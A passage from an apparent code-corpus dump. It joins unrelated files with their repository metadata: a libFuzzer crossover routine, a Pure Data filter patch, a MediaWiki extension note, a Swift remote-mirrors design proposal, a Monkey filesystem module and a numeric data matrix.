size_t OutSizeLeft = MaxOutSize - OutPos;
if (*InPos < InSize) {
size_t InSizeLeft = InSize - *InPos;
size_t MaxExtraSize = std::min(OutSizeLeft, InSizeLeft);
size_t ExtraSize = Rand(MaxExtraSize) + 1;
memcpy(Out + OutPos, Data + *InPos, ExtraSize);
OutPos += ExtraSize;
(*InPos) += ExtraSize;
}
// Use the other input data on the next iteration.
InPos = CurrentlyUsingFirstData ? &Pos2 : &Pos1;
InSize = CurrentlyUsingFirstData ? Size2 : Size1;
Data = CurrentlyUsingFirstData ? Data2 : Data1;
CurrentlyUsingFirstData = !CurrentlyUsingFirstData;
}
return OutPos;
}
} // namespace fuzzer
| C++ | 4 | karoyqiu/crashpad | third_party/libfuzzer/src/FuzzerCrossOver.cpp | [
"Apache-2.0"
] |
#N canvas 260 23 796 509 12;
#N canvas 0 0 450 300 (subpatch) 0;
#X array \$0-tab1 100 float 0;
#X coords 0 5 99 0 200 300 1 0 0;
#X restore 549 81 graph;
#X obj 65 307 bng 15 250 50 0 empty empty empty 0 -6 0 8 -262144 -1
-1;
#X floatatom 65 361 3 0 0 0 - - -;
#X text 604 387 frequency;
#N canvas 876 177 279 249 startup 0;
#X obj 52 22 loadbang;
#X obj 52 46 bng 15 250 50 0 empty empty empty 0 -6 0 8 -262144 -1
-1;
#X obj 52 65 f \$0;
#X text 38 174 This subpatch loads initial;
#X text 38 193 values in number boxes.;
#X msg 52 89 \; \$1-lf 80 \; \$1-hf 150 \;;
#X connect 0 0 1 0;
#X connect 1 0 2 0;
#X connect 2 0 5 0;
#X restore 391 317 pd startup;
#X text 487 369 gain=0;
#X obj 92 458 filter-graph2 \$0-tab1;
#X text 527 70 5;
#X text 544 380 0;
#X text 532 311 1;
#X text 526 463 updated for Pd version 0.39;
#X text 69 27 BUTTERWORTH FILTER;
#X obj 236 414 butterworth3~;
#X floatatom 258 356 3 0 100 0 - #0-lf -;
#X floatatom 305 355 3 85 150 0 - #0-hf -;
#X obj 258 382 mtof;
#X obj 305 382 mtof;
#X text 724 383 5000;
#X obj 65 328 filter-graph1 100 5000;
#X text 246 334 poles;
#X text 302 334 zeros;
#X text 52 66 The butterworth filter can be configured for low-pass
\, high-pass \, and shelving \, depending on the placement of the poles
and zeros. For low-pass \, the poles are placed to set the cutoff frequency
and the zeros are at -1 (the Nyquist). Leaving the poles fixed and
moving the zeros then gives shelving filters. In this example \, the
actual filtering is relegated to an abstraction (butterworth3~) which
takes frequencies corresponding to the pole and zero placement., f
60;
#X text 52 193 The butterworth3~ abstraction computes filter coefficients
using control messages \, and so it is not suitable for continuously
time-varying Butterworth filters. For that \, it is often appropriate
to use time-saving approximations \, but precisely which approximations
to use will depend on the way the filter is to be used.;
#X connect 1 0 18 0;
#X connect 2 0 6 0;
#X connect 12 0 6 3;
#X connect 13 0 15 0;
#X connect 14 0 16 0;
#X connect 15 0 12 1;
#X connect 16 0 12 2;
#X connect 18 0 2 0;
#X connect 18 1 6 1;
#X connect 18 1 12 0;
#X connect 18 2 6 2;
| Pure Data | 5 | mcclure/pure-data | doc/3.audio.examples/H13.butterworth.pd | [
"TCL"
] |
The [[mw:Extension:TitleBlacklist|TitleBlacklist extension]] allows wiki administrators to block the creation, movement and upload of pages, the title of which matches one or more regular expressions, as well as blocking creation of accounts with matching usernames.
The remote blacklist is fetched from [[metawikimedia:Title_blacklist]]. The local blacklist is at [[MediaWiki:Titleblacklist]].
| MediaWiki | 1 | mitre/mediawiki-vagrant | puppet/modules/role/files/titleblacklist/VagrantRoleTitleBlacklist.wiki | [
"FSFAP"
] |
:orphan:
Remote mirrors proposal
=======================
.. contents::
This proposal describes a new implementation for nominal type metadata which
will enable out-of-process heap inspection, intended for use by debugging tools
for detecting leaks and cycles. This implementation will subsume the existing
reflection support for Mirrors, enabling out-of-process usage while also
reducing generated binary size.
Radars tracking this work:
- rdar://problem/15617914
- rdar://problem/17019505
- rdar://problem/20771693
Goals and non-goals
-------------------
We wish to do post-mortem debugging of memory allocations in a Swift program.
Debugging tools can already introspect the memory allocator to identify all
live memory allocations in the program's heap.
If the compiler were to emit the necessary metadata, the layout of most
allocations can be ascertained, and in particular we can identify any
references inside the heap object. This metadata can be used together with the
core dump of a program to build a graph of objects.
We have to be able to get all the necessary information without executing any
code in the address space of the target, since it may be dead or otherwise in a
funny state.
In order to identify strong retain cycles, we need to know for each reference
if it is strong, weak, or unowned.
We wish to be able to opt out of metadata selectively. For secrecy, we might
want to strip out field names, but keep metadata about which fields contain
references. For release builds, we might want to strip out most of the field
metadata altogether, except where explicitly required for code that relies on
reflection for functionality.
It would be better if the new functionality subsumes some of the existing
metadata, instead of adding a whole new set of structures that the compiler and
runtime must keep in sync.
While this should have zero runtime overhead when not in use, it is OK if
introspection requires some additional computation, especially if it can be
front-loaded or memoized.
It is OK if in rare cases the metadata is not precise -- for some allocations,
we might not be able to figure out the runtime type of the contained value.
Also we will not attempt to verify the "roots" of the object graph by walking
the stack for pointers.
Types of heap allocations
-------------------------
There are several types of heap allocations in Swift. We mostly concern
ourselves with class instances for now, but in the fullness of time we would
like to have accurate metadata for all heap allocations.
Swift class instances
~~~~~~~~~~~~~~~~~~~~~
These have an isa pointer that points to a class metadata record.
Objective-C class instances
~~~~~~~~~~~~~~~~~~~~~~~~~~~
These also have an isa pointer, but the class metadata record has the
Objective-C bit set.
Boxes
~~~~~
These are used for heap-allocating mutable values captured in closures, for
indirect enum cases, and for Error existential values. They have an
identifying isa pointer and reference count, but the isa pointer is shared by
all boxes and thus does not describe the heap layout of the box.
Contexts
~~~~~~~~
The context for a thick function is laid out like a tuple consisting of the
captured values. Currently, the only aspect of the layout that is needed by the
runtime is knowledge of which captured values are heap pointers. A unique isa
pointer is created for each possible layout here.
Blocks
~~~~~~
Blocks are similar to contexts but have a common header and package the
function pointer and captured values in a single retainable heap object.
Metatypes
~~~~~~~~~
Runtime-allocated metatypes will appear in the malloc heap. They themselves
cannot contain heap references though.
Opaque value buffers
~~~~~~~~~~~~~~~~~~~~
These come up when a value is too large to fit inside of an existential's
inline storage, for example. They do not have a header, so we will not attempt
to introspect them at first -- eventually, we could identify pointers to buffers
where the existential is itself inside of a heap-allocated object.
Existing metadata
-----------------
Swift already has a lot of reflective features and much of the groundwork for
this exists in some form or another, but each one is lacking in at least one
important respect.
Generic type metadata
~~~~~~~~~~~~~~~~~~~~~
The isa pointer of an object points to a metadata record. For instances of
generic class types, the metadata is lazily instantiated from the generic
metadata template together with the concrete types that are bound to generic
parameters.
Generic type metadata is instantiated for generic classes with live instances,
and for metatype records of value types which are explicitly referenced from
source.
When the compiler needs to emit a generic type metadata record, it uses one of
several strategies depending on the type being referenced. For concrete
non-generic types, a direct call to a lazy accessor can be generated. For bound
generic types T<P1, ..., Pn>, we recursively emit metadata references for the
generic parameters Pn, then call the getter for the bound type T. For
archetypes -- that is, generic type parameters which are free variables in the
function body being compiled -- the metadata is passed in as a value, so the
compiler simply emits a copy of that.
Generic type metadata tells us the size of each heap allocation, but does not
by itself tell us the types of the fields or what references they contain.
Mirrors and NominalTypeDescriptors
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The implementation of Mirrors uses runtime primitives which introspect the
fields of an opaque value by looking at the NominalTypeDescriptor embedded in a
type's metadata record.
For structures and classes, the NominalTypeDescriptor contains a function
pointer which returns an array of field types. The function pointer points to a
"field type metadata function" emitted by the compiler. This function emits
metadata record references for each field type and collects them in an array.
Since the isa pointer of a class instance points at an instantiated type, the
field types of such a NominalTypeDescriptor are also all concrete types.
NominalTypeDescriptors record field names, in addition to types. Right now, all
of this information is stored together, without any way of stripping it out.
Also, NominalTypeDescriptors do not record whether a reference is strong, weak
or unowned, but that would be simple to fix.
A bigger problem is that we have to call a function to lazily generate the
field type metadata. While a NominalTypeDescriptor for every instantiated class
type appears in a crashed process, the field types do not, because only a call
to the field type function will instantiate them.
Objective-C instance variable metadata
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Objective-C runtime keeps track of the types of instance variables of
classes, and there is enough information here to identify pointers in instances
of concrete types, however there's no support for generic types. We could have
generic type metadata instantiation also clone and fill in templates for
Objective-C instance variables, but this would add a runtime cost to a feature
that is primarily intended for debugging.
DWARF metadata
~~~~~~~~~~~~~~
IRGen emits some minimal amount of DWARF metadata for non-generic types, but
makes no attempt to describe generic type layout to the debugger in this
manner.
However, DWARF has the advantage that it can be introspected without running
code, and stripped out.
New field type metadata format
------------------------------
The main limitation of all of the above is either an inability to reason about
generic types, or the requirement to run code in the target.
Suppose T is a generic type, and S is some set of substitutions.
The compiler conceptually implements an operation G(T, S) which returns a
lazily-instantiated type descriptor for the given input parameters. However,
its really performing a partial evaluation G(T)(S), with the "G(T)" part
happening at compile time.
Similarly, we can think of the field type access function as an operation F(T,
S) which returns the types of the fields of T, with T again fixed at compile
time.
What we really want here is to build an "interpreter" -- or really, a parser for
a simple serialized graph -- which understands how to parse uninstantiated
generic metadata, keep track of substitutions, and calculate field offsets,
sizes, and locations of references.
This "interpreter" has to be able to find metadata for leaf types "from
scratch", and calculate field sizes and offsets in the same way that generic
type metadata instantiation calculates object sizes.
The "interpreter" will take the form of a library for understanding field type
metadata records and symbolic type references. This will be a C++ library and
it needs to support the following use cases:
#. In-process reflection, for backing the current Mirrors in the standard
library
#. Out-of-process reflection, for heap debugging tools
#. Out-of-process reflection, for a new remote Mirrors feature in the library
(optional)
The API will be somewhat similar to Mirrors as they are in the stdlib today.
The details are described below.
Symbolic type references
~~~~~~~~~~~~~~~~~~~~~~~~
Since we're operating on uninstantiated generic metadata, we need some way to
describe compositions of types. Instead of using metadata record pointers,
which are now insufficient, we use type references written in a mini-language.
A symbolic type reference is a recursive structure describing an arbitrary
Swift AST type in terms of nominal types, generic type parameters, and
compositions of them, such as tuple types.
For each AST type, we can distinguish between the minimum information we need
to identify heap references therein, and the full type for reflection. The
former could be retained while the latter could be stripped out in certain
builds.
We already have a very similar encoding -- parameter type mangling in SIL. It
would be good to re-use this encoding, but for completeness, the full format of
a type reference is described below:
#. **A built-in type reference.** Special tokens can be used to refer to
various built-in types that have runtime support.
#. **A concrete type reference.** This can either be a mangled name of a type,
or a GOT offset in the target.
#. **A heap reference.** This consists of:
- strong, weak or unowned
- (optional) a reference to the class type itself
#. **A bound generic type.** This consists of:
- A concrete or built-in type reference
- A nested symbolic type reference for each generic parameter
#. **A tuple type.** This consists of:
- A recursive sequence of symbolic type references.
#. **A function type.** This consists of:
- A representation,
- (optional) input and output types
#. **A protocol composition type.** This consists of:
- A flag indicating if any of the protocols are class-constrained, which
changes the representation
- The number of non-@objc protocols in the composition
- (optional) references to all protocols in the composition
#. **A metatype.** This consists of:
- (optional) a type reference to the instance type
- there's no required information -- a metatype is always a single pointer to
a heap object which itself does not reference any other heap objects.
#. **An existential metatype.** This consists of:
- The number of protocols in the composition.
- (optional) type references to the protocol members.
#. **A generic parameter.** Within the field types of a generic type,
references to generic parameters can appear. Generic parameters are uniquely
identifiable by an index here (and once we add nested generic types, a depth).
You can visualize type references as if they are written in an S-expression
format -- but in reality, it would be serialized in a compact binary form:
::
(tuple_type
(bound_generic_type
(concrete_type "Array")
(concrete_type "Int"))
(bound_generic_type
(builtin_type "Optional")
(generic_type_parameter_type index=0)))
We will provide a library of standalone routines for decoding, encoding and
manipulating symbolic type references.
Field type metadata records
~~~~~~~~~~~~~~~~~~~~~~~~~~~
We introduce a new type of metadata, stored in its own section so that it can
be stripped out, called "field type metadata". For each nominal type, we emit a
record containing the following:
#. the name of the nominal type,
#. the number of generic parameters,
#. type references, written in the mini-language above, for each of its field
types.
#. field names, if enabled.
Field type metadata is linked together so that it can be looked up by name,
post-mortem by introspecting the core dump.
We add a new field to the NominalTypeDescriptor to store a pointer to field
type metadata for this nominal type. In "new-style" NominalTypeDescriptors that
contain this field, the existing field type function will point to a common
field type function, defined in the runtime, which instantiates the field type
metadata. This allows for backward compatibility with old code, if desired.
Field type metadata instantiation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First, given an isa pointer in the target, we need to build the symbolic type
reference by walking backwards from instantiated to uninstantiated metadata,
collecting generic parameters. This operation is lazy, caching the result for
each isa pointer.
::
enum SymbolicTypeReference {
case Concrete(String)
case BoundGeneric(String, [SymbolicTypeReference])
case Tuple([SymbolicTypeReference])
...
}
func getSymbolicTypeOfObject(_ isa: void*) -> SymbolicTypeReference
Next, we define an "instantiation" operation, which takes a completely
substituted symbolic type reference, and returns a list of concrete field types
and offsets.
This operation will need to recursively visit field metadata records and keep
track of generic parameter substitutions in order to correctly calculate all
field offsets and sizes.
The result of instantiating metadata for each given SymbolicTypeReference can
be cached for faster lookup.
This library has to be careful when following any pointers in the target, to
properly handle partially-initialized objects, runtime bugs that led to memory
corruption, or malicious code, without crashing or exploiting the debugging
tools.
::
enum FieldLayout {
// the field contains a heap reference
case Strong, Weak, Unowned
// the field is an opaque binary blob, contents unknown.
case Opaque
// the field is a value type -- look inside recursively.
case ValueType(indirect field: FieldDescriptor)
}
struct FieldDescriptor {
let size: UInt
let align: UInt
let offset: UInt
let layout: FieldLayout
}
func instantiateSymbolicType(_ ref: SymbolicTypeReference) -> [FieldTypeDescriptor]
Field type metadata can have circular references -- for example, consider two
classes which contain optionals of each other. In order to calculate field
offsets correctly, we need to break cycles when we know something is a class
type, and use a work-list algorithm instead of unbounded recursion to ensure
forward progress.
Enum type metadata
~~~~~~~~~~~~~~~~~~
For enums, the field metadata record will also need to contain enough
information about the spare bits and tag bits of the payload types that we can
at runtime determine the case of an enum and project the payload, again without
running code in the target.
This will allow us to remove a pair of value witness functions generated purely
for reflection, since they don't seem to be performance-critical.
Closures
~~~~~~~~
For closure contexts and blocks, it would be nice to emit metadata, too.
Secrecy and release builds
~~~~~~~~~~~~~~~~~~~~~~~~~~
There are several levels of metadata we can choose to emit here:
#. For code that requires runtime for functional purposes, or for the standard
library in debug builds, we can have a protocol conformance or compiler flag
enable unconditional emission of all metadata.
#. For system frameworks, we can omit field names and replace class names with
unique identifiers, but keep the type metadata to help users debug memory leaks
where framework classes are retaining instances of user classes.
#. For release builds, we can strip out all the metadata except where
explicitly required in 1).
This probably requires putting the required metadata in a different section
from the debug metadata. Perhaps field names should be separate from symbolic
type references too.
Performance
~~~~~~~~~~~
Since the field type metadata instantiation only happens once per isa pointer,
mirrors will not suffer a performance impact beyond the initial warm-up time.
Once the field type descriptor has been constructed, reflective access of
fields will proceed as before.
There might also be a marginal performance gain from removing all the field
type functions from the text segment, where they're currently interspersed with
other code, and replacing them with read only data containing no relocations,
which won't get paged in until needed.
Resilience
~~~~~~~~~~
We may choose to implement the new metadata facility after stabilizing the ABI.
In this case, we should front-load some engineering work on
NominalTypeDescriptors first, to make them more amenable to future extension.
We need to carefully review the new metadata format and make sure it is
flexible enough to support future language features, such as bound generic
existentials, which may further complicate heap layout.
As described above, it is possible to introduce this change in a
backwards-compatible manner. We keep the field type function field in the
NominalTypeDescriptor, but for "new-style" records, set it to point to a common
function, defined in the runtime, which parses the new metadata and returns an
array of field types that can be used by old clients.
Testing
~~~~~~~
By transitioning mirrors to use the new metadata, existing tests can be used to
verify behavior. Additional tests can be developed to perform various
allocations and assert properties of the resulting object graph, either from
in- or out-of-process.
If we go with the gradual approach where we have both field type functions and
field type metadata, we can also instantiate the former and compare it against
the result of invoking the latter, for all types in the system, as a means of
validating the field type metadata.
| reStructuredText | 4 | lwhsu/swift | docs/proposals/RemoteMirrors.rst | [
"Apache-2.0"
] |
#If Not BRL_FILESYSTEM_IMPLEMENTED
#If TARGET="android" Or TARGET="ios" Or TARGET="winrt" Or TARGET="glfw" Or TARGET="stdcpp"
#BRL_FILESYSTEM_IMPLEMENTED=True
Import "native/filesystem.${LANG}"
#Endif
#Endif
#If Not BRL_FILESYSTEM_IMPLEMENTED
#Error "Native FileSystem class not implemented"
#Endif
Extern Private
Class BBFileSystem
Function FixPath:String( path:String )
Function RealPath:String( path:String )
Function FileType:Int( path:String )
Function FileSize:Int( path:String )
Function FileTime:Int( path:String )
Function CreateFile:Bool( path:String )
Function DeleteFile:Bool( path:String )
Function CopyFile:Bool( src:String,dst:String )
Function CreateDir:Bool( path:String )
Function DeleteDir:Bool( path:String )
Function LoadDir:String[]( path:String )
End
Private
Function FixPath:String( path:String )
Return BBFileSystem.FixPath( path )
End
Function _DeleteDir:Bool( path:String )
Return BBFileSystem.DeleteDir( FixPath( path ) )
End
Function _LoadDir:String[]( path:String )
Return BBFileSystem.LoadDir( FixPath( path ) )
End
Public
Const FILETYPE_NONE:=0
Const FILETYPE_FILE:=1
Const FILETYPE_DIR:=2
Function FileType:Int( path:String )
Return BBFileSystem.FileType( FixPath( path ) )
End
Function FileSize:Int( path:String )
Return BBFileSystem.FileSize( FixPath( path ) )
End
Function FileTime:Int( path:String )
Return BBFileSystem.FileTime( FixPath( path ) )
End
Function RealPath:String( path:String )
Return BBFileSystem.RealPath( FixPath( path ) )
End
Function CreateFile:Bool( path:String )
Return BBFileSystem.CreateFile( FixPath( path ) )
End
Function DeleteFile:Bool( path:String )
Return BBFileSystem.DeleteFile( FixPath( path ) )
End
Function CopyFile:Bool( src:String,dst:String )
Return BBFileSystem.CopyFile( FixPath( src ),FixPath( dst ) )
End
Function CreateDir:Bool( path:String )
Return BBFileSystem.CreateDir( FixPath( path ) )
End
Function DeleteDir:Bool( path:String,recursive:Bool=False )
If Not recursive Return _DeleteDir( path )
Select FileType( path )
Case FILETYPE_NONE Return True
Case FILETYPE_FILE Return False
End Select
For Local f:String=Eachin _LoadDir( path )
Local fpath:String=path+"/"+f
If FileType( fpath )=FILETYPE_DIR
If Not DeleteDir( fpath,True ) Return False
Else
If Not DeleteFile( fpath ) Return False
Endif
Next
Return DeleteDir( path )
End
Function CopyDir:Bool( srcpath:String,dstpath:String,recursive:Bool=False,hidden:Bool=False )
If FileType( srcpath )<>FILETYPE_DIR Return False
'do this before create of destdir to allow a dir to be copied into itself!
'
Local files:=_LoadDir( srcpath )
Select FileType( dstpath )
Case FILETYPE_NONE
If Not CreateDir( dstpath ) Return False
Case FILETYPE_FILE
Return False
End
For Local f:String=Eachin files
If Not hidden And f.StartsWith(".") Continue
Local srcp:String=srcpath+"/"+f
Local dstp:String=dstpath+"/"+f
Select FileType( srcp )
Case FILETYPE_FILE
If Not CopyFile( srcp,dstp ) Return False
Case FILETYPE_DIR
If recursive And Not CopyDir( srcp,dstp,recursive,hidden ) Return False
End
Next
Return True
End
Function LoadDir:String[]( path:String,recursive:Bool=False,hidden:Bool=False )
Local dirs:=New StringDeque
Local files:=New StringStack
If Not path.EndsWith( "/" ) path+="/"
dirs.PushLast ""
While Not dirs.IsEmpty()
Local dir:String=dirs.PopFirst()
For Local f:String=Eachin _LoadDir( path+dir )
If Not hidden And f.StartsWith(".") Continue
Local p:=dir+f
files.Push p
If recursive And FileType( path+p )=FILETYPE_DIR dirs.PushLast p+"/"
Next
Wend
Return files.ToArray()
End
| Monkey | 4 | Regal-Internet-Brothers/webcc-monkey | webcc.data/modules/brl/filesystem.monkey | [
"Zlib"
] |
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -84.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -89.00
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -85.00
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -46.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -73.00
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -76.00
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -13.00
1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -100.00
-1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -5.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -84.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -2.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -177.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 50.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -181.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 96.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -205.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 52.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -154.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 99.00
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -212.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 58.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -84.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -15.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -164.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 67.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -198.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 81.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -190.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 49.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -151.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 76.00
1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -189.00
-1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 83.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -84.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -98.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -81.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -18.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -113.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 30.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -139.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 23.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -125.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 57.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -170.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -9.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -84.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -20.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -159.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -10.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -121.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 44.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -153.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 25.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -127.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 52.00
1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -165.00
-1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 59.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -84.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -90.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -89.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -41.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -90.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 53.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -162.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 17.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -119.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 65.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -178.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 31.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -84.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -44.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -135.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -38.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -93.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -37.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -72.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -45.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -57.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -29.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -84.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -71.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -89.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -2.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -167.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 55.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -218.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 86.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -208.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 89.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -138.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 102.00
0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -133.00
0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 42.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -89.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -15.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -154.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 72.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -235.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 71.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -193.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 86.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -135.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 79.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -110.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 67.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -89.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -98.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -71.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -13.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -150.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 20.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -142.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 60.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -109.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 60.00
0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -91.00
0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -25.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -89.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -20.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -149.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -5.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -158.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 34.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -156.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 62.00
